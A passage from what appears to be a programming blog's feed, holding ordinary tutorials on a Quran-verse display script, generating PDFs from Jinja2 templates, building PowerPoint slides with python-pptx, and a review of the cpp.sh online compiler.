killall mpv 2&amp;gt;/dev/null
$PLAYER $CHAPTER $FIRST $LAST $SPEED




&lt;/code&gt;
&lt;/pre&gt;

&lt;h3&gt;How It Works&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;The shell script takes the chapter number, first and last verse numbers, and an optional highlight line as arguments.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It retrieves the Quranic text using the search script and processes it for rendering.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The Python script renders the Arabic text into a PNG image.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The rendered image is displayed using &lt;code&gt;feh&lt;/code&gt;, and the verses' audio is played using the playback script.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;Usage&lt;/h3&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;

artopng &amp;lt;CHAPTER_number&amp;gt; &amp;lt;FIRST_ayah&amp;gt; &amp;lt;LAST_ayah&amp;gt; [line_to_highlight] [play_speed]

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;

artopng 2 255 257 2

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;This command renders verses 255-257 of Surah Al-Baqarah, highlights the second line, and plays the audio.&lt;/p&gt;
&lt;p&gt;I am using i3 window manager, and made it so that feh has no borders and no window decoration and top bar, making it look this beautiful:&lt;/p&gt;

&lt;figure&gt;
    &lt;img src="/theme/images/articles/images/277-arabic-to.png" alt="The verses 255-257 of Surah Al-Baqarah" style="max-width:100%;height:auto;" &gt;
    &lt;figcaption&gt;verses 255-257 of Surah Al-Baqarah&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h3&gt;Play sourah&lt;/h3&gt;

&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;

#!/bin/bash
if [[ -z $1 ]] ; then
    echo need surah number
    exit
fi
surah_number=$1
start_ayah=${2:-1}
end_ayah=${3:-300}

for ((i=start_ayah; i &amp;lt;= end_ayah; i++)); do
    $HOME/bin/artopng $surah_number $i
done



&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
The `&lt;code&gt;play-surah&lt;/code&gt;` script is a handy tool designed to streamline the display and audio playback of Quranic verses. This script accepts a Surah number as a required argument and optionally allows specifying a range of Ayahs to display and play. By default, it starts from the first Ayah and processes up to the last ayah of the surah (chapter)  unless specified otherwise.
&lt;/p&gt;

&lt;p&gt;
Here's how the script works: for each Ayah in the specified range, it utilizes the `&lt;code&gt;artopng&lt;/code&gt;` script to generate an image of the Ayah's text and then plays the corresponding audio. When combined with a minimalistic i3 window manager setup, which employs borderless `&lt;code&gt;feh&lt;/code&gt;` with no decorations, this approach creates an immersive and distraction-free Quranic experience, verse by verse.
&lt;/p&gt;

&lt;h3&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;This tool provides an immersive Quranic study experience by combining visual and auditory elements directly from the command line. Let me know if you need help customizing or extending the scripts!&lt;/p&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="Arabic text rendering"></category><category term="dynamic Arabic images"></category><category term="text to PNG script"></category><category term="verse display automation"></category><category term="Arabic typography"></category><category term="bash script tools"></category><category term="i3 Window Manager"></category><category term="borderless feh"></category><category term="audio playback integration"></category><category term="python"></category><category term="bash"></category><category term="Linux"></category><category term="shell"></category><category term="scripting"></category></entry><entry><title>How to Generate PDFs from Jinja2 Templates in Python</title><link href="https://mosaid.xyz/articles/how-to-generate-pdfs-from-jinja2-templates-in-python-275.html" rel="alternate"></link><published>2025-01-20T21:58:39+00:00</published><updated>2025-01-20T21:58:39+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2025-01-20:/articles/how-to-generate-pdfs-from-jinja2-templates-in-python-275.html</id><summary type="html">&lt;p&gt;Learn how to generate PDFs from Jinja2 templates using Python and wkhtmltopdf. This tutorial covers setting up a local environment, rendering templates, and handling errors.&lt;/p&gt;</summary><content type="html">&lt;h2&gt;How to Generate PDFs from Jinja2 Templates Using Python&lt;/h2&gt;

&lt;p&gt;In this tutorial, we will show you how to use a Python script to generate beautiful PDFs from Jinja2 templates. Whether you're creating invoices, reports, or any custom documents, this method allows you to automate the generation of PDFs directly from templates. We will also discuss the importance of using a local Python environment and good practices to keep your projects organized and manageable.&lt;/p&gt;

&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;p&gt;Before we start, ensure that you have the following tools and libraries installed:&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Python:&lt;/strong&gt; The programming language for this script.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Jinja2:&lt;/strong&gt; A templating engine used to generate HTML from data.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;pdfkit:&lt;/strong&gt; A Python wrapper for wkhtmltopdf, which converts HTML to PDF.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;wkhtmltopdf:&lt;/strong&gt; A command-line tool for rendering HTML into PDFs.&lt;/p&gt;

&lt;p&gt;Install the necessary libraries using the following commands:&lt;/p&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;

pip install jinja2 pdfkit

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;Additionally, ensure that wkhtmltopdf is installed on your system:&lt;/p&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;

sudo apt-get install wkhtmltopdf

&lt;/code&gt;
&lt;/pre&gt;

&lt;h3&gt;Setting Up the Virtual Environment&lt;/h3&gt;
&lt;p&gt;It's a good practice to use a local Python environment for your projects. This helps keep your dependencies isolated and ensures that your project is not affected by global Python packages. Follow these steps to set up the environment:&lt;/p&gt;

&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;

# Create a new directory for your project if you haven't already
mkdir ~/my_project
cd ~/my_project

# Create a virtual environment in ~/bin/env
python3 -m venv ~/bin/env

# Activate the environment
source ~/bin/env/bin/activate

# Install the necessary Python dependencies
pip install jinja2 pdfkit

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;Once the environment is set up, you can simply activate it by running:&lt;/p&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;

source ~/bin/env/bin/activate

&lt;/code&gt;
&lt;/pre&gt;

&lt;h3&gt;Creating the Template&lt;/h3&gt;
&lt;p&gt;Next, create a Jinja2 template to define the structure and design of your PDF. In this example, we’ll create a simple template with a title, content, a list of items, and an image.&lt;/p&gt;

&lt;pre class="language-html"&gt;
    &lt;code class="language-html"&gt;

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;
    &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt;
    &amp;lt;title&amp;gt;{{ title }}&amp;lt;/title&amp;gt;
    &amp;lt;!-- Bootstrap CSS --&amp;gt;
    &amp;lt;link href=&amp;quot;https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css&amp;quot; rel=&amp;quot;stylesheet&amp;quot;&amp;gt;
    &amp;lt;style&amp;gt;
        /* Custom styles for PDF generation */
        @page {
            size: A4;
            margin: 1cm;
        }

        body {
            font-family: &amp;#x27;Arial&amp;#x27;, sans-serif;
            line-height: 1.5;
            margin: 0;
        }

        .header, .footer {
            background-color: #f8f9fa;
            padding: 10px;
            text-align: center;
            color: #333;
        }

        .header h1 {
            margin: 0;
            font-size: 1.8rem;
            color: #007bff;
        }

        .footer p {
            margin: 0;
            font-size: 0.9rem;
        }

        .content {
            padding: 20px;
        }

        .content h2 {
            color: #28a745;
            margin-top: 20px;
        }

        .content p {
            text-align: justify;
        }

        .content blockquote {
            background-color: #f1f3f4;
            border-left: 4px solid #007bff;
            padding: 10px 15px;
            font-style: italic;
            color: #555;
            margin: 20px 0;
        }

        .content .table {
            margin-top: 20px;
        }

        .content .btn {
            display: inline-block;
            margin-top: 15px;
        }

        .highlight {
            color: #dc3545;
            font-weight: bold;
        }

        .list-group-item {
            background-color: #f9f9f9;
            color: #333;
        }

        .list-group-item:hover {
            background-color: #007bff;
            color: #fff;
        }

        .img-container {
            text-align: center;
            margin-top: 20px;
        }

        .img-container img {
            max-width: 50%;
            height: auto;
        }
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&amp;quot;header&amp;quot;&amp;gt;
        &amp;lt;h1&amp;gt;{{ title }}&amp;lt;/h1&amp;gt;
        &amp;lt;p&amp;gt;PDF generated using Jinja2 and PDFKit&amp;lt;/p&amp;gt;
    &amp;lt;/div&amp;gt;

    &amp;lt;div class=&amp;quot;content container&amp;quot;&amp;gt;
        &amp;lt;h2&amp;gt;Introduction&amp;lt;/h2&amp;gt;
        &amp;lt;p&amp;gt;{{ content }}&amp;lt;/p&amp;gt;

        &amp;lt;h2&amp;gt;Highlighted Text&amp;lt;/h2&amp;gt;
        &amp;lt;p&amp;gt;You can use &amp;lt;span class=&amp;quot;highlight&amp;quot;&amp;gt;colors and bold text&amp;lt;/span&amp;gt; to draw attention to key points in your PDF.&amp;lt;/p&amp;gt;

        &amp;lt;h2&amp;gt;Table Example&amp;lt;/h2&amp;gt;
        &amp;lt;table class=&amp;quot;table table-bordered&amp;quot;&amp;gt;
            &amp;lt;thead class=&amp;quot;thead-dark&amp;quot;&amp;gt;
                &amp;lt;tr&amp;gt;
                    &amp;lt;th&amp;gt;Item&amp;lt;/th&amp;gt;
                    &amp;lt;th&amp;gt;Description&amp;lt;/th&amp;gt;
                    &amp;lt;th&amp;gt;Price&amp;lt;/th&amp;gt;
                &amp;lt;/tr&amp;gt;
            &amp;lt;/thead&amp;gt;
            &amp;lt;tbody&amp;gt;
                &amp;lt;tr&amp;gt;
                    &amp;lt;td&amp;gt;Example 1&amp;lt;/td&amp;gt;
                    &amp;lt;td&amp;gt;This is the first example item.&amp;lt;/td&amp;gt;
                    &amp;lt;td&amp;gt;$10&amp;lt;/td&amp;gt;
                &amp;lt;/tr&amp;gt;
                &amp;lt;tr&amp;gt;
                    &amp;lt;td&amp;gt;Example 2&amp;lt;/td&amp;gt;
                    &amp;lt;td&amp;gt;This is the second example item.&amp;lt;/td&amp;gt;
                    &amp;lt;td&amp;gt;$20&amp;lt;/td&amp;gt;
                &amp;lt;/tr&amp;gt;
            &amp;lt;/tbody&amp;gt;
        &amp;lt;/table&amp;gt;

        &amp;lt;h2&amp;gt;List Example&amp;lt;/h2&amp;gt;
        &amp;lt;ul class=&amp;quot;list-group&amp;quot;&amp;gt;
            {% for item in items %}
            &amp;lt;li class=&amp;quot;list-group-item&amp;quot;&amp;gt;{{ item }}&amp;lt;/li&amp;gt;
            {% endfor %}
        &amp;lt;/ul&amp;gt;

        &amp;lt;h2&amp;gt;Blockquote Example&amp;lt;/h2&amp;gt;
        &amp;lt;blockquote&amp;gt;
            &amp;quot;This is a beautifully styled blockquote to emphasize key ideas.&amp;quot;
        &amp;lt;/blockquote&amp;gt;

        &amp;lt;h2&amp;gt;Image Example&amp;lt;/h2&amp;gt;
        &amp;lt;div class=&amp;quot;img-container&amp;quot;&amp;gt;
            &amp;lt;img src=&amp;quot;{{ image_path }}&amp;quot; alt=&amp;quot;Example Image&amp;quot;&amp;gt;
        &amp;lt;/div&amp;gt;

        &amp;lt;h2&amp;gt;Button Example&amp;lt;/h2&amp;gt;
        &amp;lt;a href=&amp;quot;https://mosaid.xyz&amp;quot; class=&amp;quot;btn btn-primary&amp;quot;&amp;gt;Click Me&amp;lt;/a&amp;gt;
    &amp;lt;/div&amp;gt;

    &amp;lt;div class=&amp;quot;footer&amp;quot;&amp;gt;
        &amp;lt;p&amp;gt;{{ footer }}&amp;lt;/p&amp;gt;
    &amp;lt;/div&amp;gt;

    &amp;lt;!-- Bootstrap JS --&amp;gt;
    &amp;lt;script src=&amp;quot;https://code.jquery.com/jquery-3.5.1.slim.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;script src=&amp;quot;https://cdn.jsdelivr.net/npm/@popperjs/core@2.4.4/dist/umd/popper.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;script src=&amp;quot;https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;



&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;Save this file as &lt;strong&gt;template.html&lt;/strong&gt; in your project directory.&lt;/p&gt;

&lt;h3&gt;Generating the PDF&lt;/h3&gt;
&lt;p&gt;Now let’s use a Python script to generate the PDF from the Jinja2 template. Below is the script that takes the template, renders it with data, and generates the PDF:&lt;/p&gt;

&lt;pre class="language-python"&gt;
    &lt;code class="language-python"&gt;

import pdfkit
from jinja2 import Environment, FileSystemLoader
import os
import sys
from datetime import datetime

def generate_pdf(template_file, output_dir=&amp;quot;./output&amp;quot;):
    # Create output directory if it doesn&amp;#x27;t exist
    os.makedirs(output_dir, exist_ok=True)

    # Extract the directory and filename from the template file
    template_dir = os.path.dirname(template_file)
    template_name = os.path.basename(template_file)

    # Set up Jinja2 environment
    env = Environment(loader=FileSystemLoader(template_dir))
    template = env.get_template(template_name)

    # Define data to be rendered in the template
    data = {
        &amp;quot;title&amp;quot;: &amp;quot;Jinja2 to PDF Example&amp;quot;,
        &amp;quot;content&amp;quot;: &amp;quot;This is a PDF generated using Jinja2 and pdfkit.&amp;quot;,
        &amp;quot;items&amp;quot;: [&amp;quot;Introduction&amp;quot;, &amp;quot;Body Content&amp;quot;, &amp;quot;Conclusion&amp;quot;],
        &amp;quot;footer&amp;quot;: &amp;quot;Generated by Radouan MOSAID&amp;quot;,
        &amp;quot;image_path&amp;quot;: &amp;quot;/path/to/image.jpg&amp;quot;,  # Absolute path
    }

    # Render the template with the data
    rendered_html = template.render(data)

    # Get the current date string in YYYY-MM-DD format
    date_str = datetime.now().strftime(&amp;quot;%Y-%m-%d&amp;quot;)

    # Output PDF file path with the date appended to make it unique
    output_pdf_path = os.path.join(output_dir, f&amp;quot;output_{date_str}.pdf&amp;quot;)

    # Define pdfkit options to enable local file access
    options = {
        &amp;#x27;enable-local-file-access&amp;#x27;: &amp;#x27;&amp;#x27;,  # Allow access to local files
    }

    # Convert the rendered HTML to a PDF with options
    pdfkit.from_string(rendered_html, output_pdf_path, options=options)

    print(f&amp;quot;PDF has been created successfully: {output_pdf_path}&amp;quot;)

if __name__ == &amp;quot;__main__&amp;quot;:
    if len(sys.argv) &amp;lt; 2:
        print(&amp;quot;Usage: python script.py &amp;lt;template_file&amp;gt;&amp;quot;)
        sys.exit(1)

    # Get the template file from the command-line arguments
    template_file = sys.argv[1]

    # Check if the file exists
    if not os.path.isfile(template_file):
        print(f&amp;quot;Error: Template file &amp;#x27;{template_file}&amp;#x27; not found.&amp;quot;)
        sys.exit(1)

    # Generate PDF
    generate_pdf(template_file)



&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;This script loads the template, renders it with the provided data, and outputs a PDF to the specified directory. The path to the image is provided as an absolute path to avoid errors.&lt;/p&gt;

&lt;h3&gt;Running the Script&lt;/h3&gt;
&lt;p&gt;To run the script, simply execute it from your terminal while in the project directory:&lt;/p&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;

python script.py template.html

&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;This will generate a PDF file with the rendered content. The output PDF will be saved in the &lt;strong&gt;output&lt;/strong&gt; directory with a unique name based on the current date.&lt;/p&gt;

&lt;figure&gt;
    &lt;img src="/theme/images/articles/images/275-output_2025-01-20_page1.jpg" alt="generated PDF file" style="max-width:100%;height:auto;"&gt;
    &lt;figcaption&gt;generated PDF file&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h3&gt;Handling Errors&lt;/h3&gt;
&lt;p&gt;Sometimes, you might encounter issues like missing image files or incorrect file paths. Make sure to:&lt;/p&gt;
&lt;p&gt;&amp;#8226; Check the file path of the image used in the template.&lt;/p&gt;
&lt;p&gt;&amp;#8226; Ensure that &lt;code&gt;--enable-local-file-access&lt;/code&gt; is set in the &lt;code&gt;pdfkit&lt;/code&gt; options to allow local file access.&lt;/p&gt;
&lt;p&gt;&amp;#8226; Use absolute paths for local files to avoid any issues related to relative paths.&lt;/p&gt;

&lt;h3&gt;Customizing Your PDF&lt;/h3&gt;
&lt;p&gt;You can customize the PDF output by modifying the template, adding more dynamic data to the Jinja2 context, and adjusting the CSS styling. For example, you could change the page layout, font styles, or add additional sections like tables or charts.&lt;/p&gt;

&lt;h3&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;In this tutorial, we’ve shown how to create PDFs using Jinja2 templates and Python. By organizing your code into a local Python environment and following best practices for managing dependencies, you can easily generate custom documents automatically. This process can be extended and customized for various use cases, making it an efficient way to automate document generation.&lt;/p&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="Python PDF generation"></category><category term="Jinja2 template to PDF"></category><category term="wkhtmltopdf"></category><category term="Python virtual environment"></category><category term="PDF automation"></category></entry><entry><title>Create a PowerPoint Presentation in Minutes with Python</title><link href="https://mosaid.xyz/articles/create-a-powerpoint-presentation-in-minutes-with-python-274.html" rel="alternate"></link><published>2025-01-15T21:02:14+00:00</published><updated>2025-01-15T21:02:14+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2025-01-15:/articles/create-a-powerpoint-presentation-in-minutes-with-python-274.html</id><summary type="html">&lt;p&gt;Learn how to create professional PowerPoint presentations using Python and the python-pptx library. Add text, format slides, and include custom figures effortlessly.&lt;/p&gt;</summary><content type="html">&lt;h2&gt;How to Create a PowerPoint Presentation Using Python&lt;/h2&gt;

&lt;p&gt;Have you ever needed to create a presentation but lacked access to office software or simply didn’t have the time to design it manually? With Python and the &lt;code&gt;python-pptx&lt;/code&gt; library, you can automate the process, creating professional-looking presentations with ease. In this tutorial, I’ll walk you through creating a PowerPoint presentation, including adding text, formatting slides, and incorporating figures generated using Python.&lt;/p&gt;

&lt;h3&gt;1. Setting Up Your Environment&lt;/h3&gt;

&lt;p&gt;To get started, install the necessary libraries:&lt;/p&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;

pip install python-pptx matplotlib

&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;The &lt;code&gt;python-pptx&lt;/code&gt; library will handle creating and formatting the presentation, while &lt;code&gt;matplotlib&lt;/code&gt; is used for generating images and graphs.&lt;/p&gt;

&lt;h3&gt;2. Creating a Basic Presentation&lt;/h3&gt;

&lt;p&gt;Start by creating a new PowerPoint file:&lt;/p&gt;
&lt;pre class="language-python"&gt;
    &lt;code class="language-python"&gt;

from pptx import Presentation

# Create a new presentation
prs = Presentation()

# Save the presentation
prs.save('my_presentation.pptx')

&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;This creates an empty PowerPoint file named &lt;code&gt;my_presentation.pptx&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;3. Adding Slides and Text&lt;/h3&gt;

&lt;p&gt;To add a title slide with text:&lt;/p&gt;
&lt;pre class="language-python"&gt;
    &lt;code class="language-python"&gt;

# Add a title slide
slide = prs.slides.add_slide(prs.slide_layouts[0])

# Set the title and subtitle
title = slide.shapes.title
subtitle = slide.placeholders[1]

title.text = "Welcome to Python-Powered Presentations"
subtitle.text = "Automate your PowerPoint creation!"

&lt;/code&gt;
&lt;/pre&gt;

&lt;h3&gt;4. Formatting Text&lt;/h3&gt;

&lt;p&gt;You can customize the appearance of the text, such as font size and color:&lt;/p&gt;
&lt;pre class="language-python"&gt;
    &lt;code class="language-python"&gt;

from pptx.util import Pt
from pptx.dml.color import RGBColor

# Format the title
title.text_frame.text = "Python Power"
title_format = title.text_frame.paragraphs[0]
title_format.font.size = Pt(36)
title_format.font.bold = True
title_format.font.color.rgb = RGBColor(255, 0, 0)  # Red

&lt;/code&gt;
&lt;/pre&gt;

&lt;h3&gt;5. Adding Figures&lt;/h3&gt;

&lt;p&gt;Generate and include figures using &lt;code&gt;matplotlib&lt;/code&gt;:&lt;/p&gt;
&lt;pre class="language-python"&gt;
    &lt;code class="language-python"&gt;

import matplotlib.pyplot as plt

# Create a sample plot
plt.figure(figsize=(6, 4))
plt.plot([1, 2, 3], [4, 5, 6], label="Sample Line")
plt.xlabel("X-Axis")
plt.ylabel("Y-Axis")
plt.title("Sample Plot")
plt.legend()

# Save the figure
plt.savefig('sample_plot.png')

# Add the image to a slide
image_slide = prs.slides.add_slide(prs.slide_layouts[5])  # Blank layout
image_slide.shapes.add_picture('sample_plot.png', Pt(100), Pt(100), width=Pt(400), height=Pt(300))

&lt;/code&gt;
&lt;/pre&gt;

&lt;h3&gt;6. Saving the Presentation&lt;/h3&gt;

&lt;p&gt;Once you’ve added content, save the presentation:&lt;/p&gt;
&lt;pre class="language-python"&gt;
    &lt;code class="language-python"&gt;

prs.save('final_presentation.pptx')

&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;Here is the full python script, you can easily extend it with more slides&lt;/p&gt;

&lt;pre class="language-python"&gt;
    &lt;code class="language-python"&gt;


from pptx import Presentation
from pptx.util import Pt
from pptx.dml.color import RGBColor
import matplotlib.pyplot as plt

# Create a new PowerPoint presentation
prs = Presentation()

# 1. Add a title slide
slide = prs.slides.add_slide(prs.slide_layouts[0])
title = slide.shapes.title
subtitle = slide.placeholders[1]
title.text = &amp;quot;Welcome to Python-Powered Presentations&amp;quot;
subtitle.text = &amp;quot;Automate your PowerPoint creation!&amp;quot;

# Format the title text
title_format = title.text_frame.paragraphs[0]
title_format.font.size = Pt(36)
title_format.font.bold = True
title_format.font.color.rgb = RGBColor(0, 102, 204)  # Blue color

# Format the subtitle text
subtitle_format = subtitle.text_frame.paragraphs[0]
subtitle_format.font.size = Pt(24)
subtitle_format.font.color.rgb = RGBColor(128, 128, 128)  # Gray color

# 2. Add a content slide
content_slide = prs.slides.add_slide(prs.slide_layouts[1])
content_title = content_slide.shapes.title
content_title.text = &amp;quot;Benefits of Python-Powered Slides&amp;quot;

# Add bullet points
bullet_points = [
    &amp;quot;Automate repetitive tasks&amp;quot;,
    &amp;quot;Generate dynamic presentations&amp;quot;,
    &amp;quot;Integrate data and figures effortlessly&amp;quot;
]
content = content_slide.placeholders[1]
for point in bullet_points:
    paragraph = content.text_frame.add_paragraph()
    paragraph.text = point
    paragraph.level = 0  # Top-level bullet point
    paragraph.font.size = Pt(18)
    paragraph.font.color.rgb = RGBColor(0, 0, 0)  # Black color

# 3. Generate a figure with matplotlib
plt.figure(figsize=(6, 4))
plt.plot([1, 2, 3], [4, 5, 6], label=&amp;quot;Sample Line&amp;quot;, color=&amp;quot;blue&amp;quot;)
plt.xlabel(&amp;quot;X-Axis&amp;quot;)
plt.ylabel(&amp;quot;Y-Axis&amp;quot;)
plt.title(&amp;quot;Sample Plot&amp;quot;)
plt.legend()
figure_path = &amp;quot;sample_plot.png&amp;quot;
plt.savefig(figure_path)
plt.close()

# 4. Add the figure to a new slide
image_slide = prs.slides.add_slide(prs.slide_layouts[5])  # Blank slide layout
image_slide.shapes.add_picture(figure_path, Pt(100), Pt(100), width=Pt(500), height=Pt(300))

# 5. Save the presentation
output_file = &amp;quot;final_presentation.pptx&amp;quot;
prs.save(output_file)
print(f&amp;quot;Presentation saved as {output_file}&amp;quot;)


&lt;/code&gt;
&lt;/pre&gt;

&lt;figure&gt;
    &lt;img src="/theme/images/articles/images/274-python-presentation.png" alt="Python PowerPoint Workflow" style="max-width:100%;height:auto;" &gt;
    &lt;figcaption&gt;Automating PowerPoint Creation with Python&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h3&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;With just a few lines of Python code, you can create fully customized PowerPoint presentations. This approach is perfect for generating slides dynamically, especially when dealing with large datasets or repetitive tasks.&lt;/p&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="python"></category><category term="PowerPoint automation"></category><category term="python-pptx tutorial"></category><category term="create presentation with Python"></category><category term="dynamic slides"></category><category term="automated PowerPoint creation"></category></entry><entry><title>cpp.sh: Your Ultimate Online C++ Compiler</title><link href="https://mosaid.xyz/articles/cppsh-your-ultimate-online-c-compiler-242.html" rel="alternate"></link><published>2024-05-18T19:17:29+00:00</published><updated>2024-05-18T19:17:29+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2024-05-18:/articles/cppsh-your-ultimate-online-c-compiler-242.html</id><summary type="html">&lt;p&gt;Run C++ code effortlessly online with cpp.sh. Discover features like instant compilation, a user-friendly interface, and easy code sharing. Perfect for students, educators, and developers.&lt;/p&gt;</summary><content type="html">&lt;h1&gt;Explore cpp.sh: Your Go-To Online Platform for Running C++ Code&lt;/h1&gt;
&lt;p&gt;In the world of programming, C++ remains one of the most influential and powerful languages. Whether you’re a beginner learning the ropes or a seasoned developer working on complex projects, having a reliable and accessible platform to write, test, and run your C++ code is invaluable. Enter cpp.sh, an online compiler that simplifies the process of coding in C++ by offering a user-friendly interface and powerful features—all without the need to install any software on your local machine.&lt;/p&gt;

&lt;h2&gt;What is cpp.sh?&lt;/h2&gt;
&lt;p&gt;Cpp.sh is an online compiler and editor designed specifically for C++ programming. It allows users to write, compile, and run C++ code directly from their web browser. This web-based tool is especially useful for students, educators, and developers who need a quick and convenient way to test snippets of C++ code or share their work with others.&lt;/p&gt;

&lt;h2&gt;Key Features&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Instant Compilation and Execution:&lt;/strong&gt; One of the standout features of cpp.sh is its ability to compile and execute code instantly. This immediate feedback loop is crucial for learning and debugging, allowing users to see the results of their code in real-time.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;User-Friendly Interface:&lt;/strong&gt; The platform boasts a clean and intuitive interface. The code editor is designed with syntax highlighting and line numbering, making it easy to write and read code. Additionally, the interface is straightforward, ensuring that even beginners can navigate it with ease.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cross-Platform Accessibility:&lt;/strong&gt; Since cpp.sh is a web-based tool, it is accessible from any device with an internet connection. This cross-platform compatibility means you can code on the go, whether you're using a desktop, laptop, tablet, or smartphone.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Code Sharing and Collaboration:&lt;/strong&gt; cpp.sh makes it easy to share code snippets. You can generate a unique URL for your code, allowing you to share it with peers, instructors, or collaborators quickly. This feature is particularly beneficial for collaborative projects or seeking help from the programming community.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Customization Options:&lt;/strong&gt; Users can customize their coding environment to suit their preferences. This includes changing the theme of the editor, adjusting font sizes, and configuring other settings to create a comfortable coding experience.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;No Installation Required:&lt;/strong&gt; One of the primary advantages of cpp.sh is that it eliminates the need to install a local C++ development environment. This can save time and resources, particularly for those who may face difficulties installing software on their machines.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Getting Started with cpp.sh&lt;/h2&gt;
&lt;p&gt;Using cpp.sh is simple and straightforward. Here’s a quick guide to get you started:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Visit the Website:&lt;/strong&gt; Go to &lt;a href="https://cpp.sh" target="_blank" &gt;cpp.sh&lt;/a&gt; in your web browser.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Write Your Code:&lt;/strong&gt; Start typing your C++ code in the provided editor. The interface supports syntax highlighting, which helps in identifying various elements of the code.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Compile and Run:&lt;/strong&gt; Once you’ve written your code, click the "Run" button. cpp.sh will compile and execute your code, displaying the output directly on the screen.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Save and Share:&lt;/strong&gt; If you want to save your code or share it with others, use the "Share" button to generate a unique URL.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;Why Choose cpp.sh?&lt;/h2&gt;
&lt;p&gt;Cpp.sh is a powerful tool for anyone interested in C++ programming. Its ease of use, instant feedback, and accessibility make it an excellent choice for both learning and professional development. Whether you’re debugging a tricky algorithm, learning the basics of C++, or working on a collaborative project, cpp.sh provides a seamless and efficient coding experience.&lt;/p&gt;
&lt;p&gt;In a digital age where convenience and efficiency are paramount, cpp.sh stands out as a reliable and robust platform for running C++ code online. Give it a try and experience the benefits of this versatile online compiler.&lt;/p&gt;

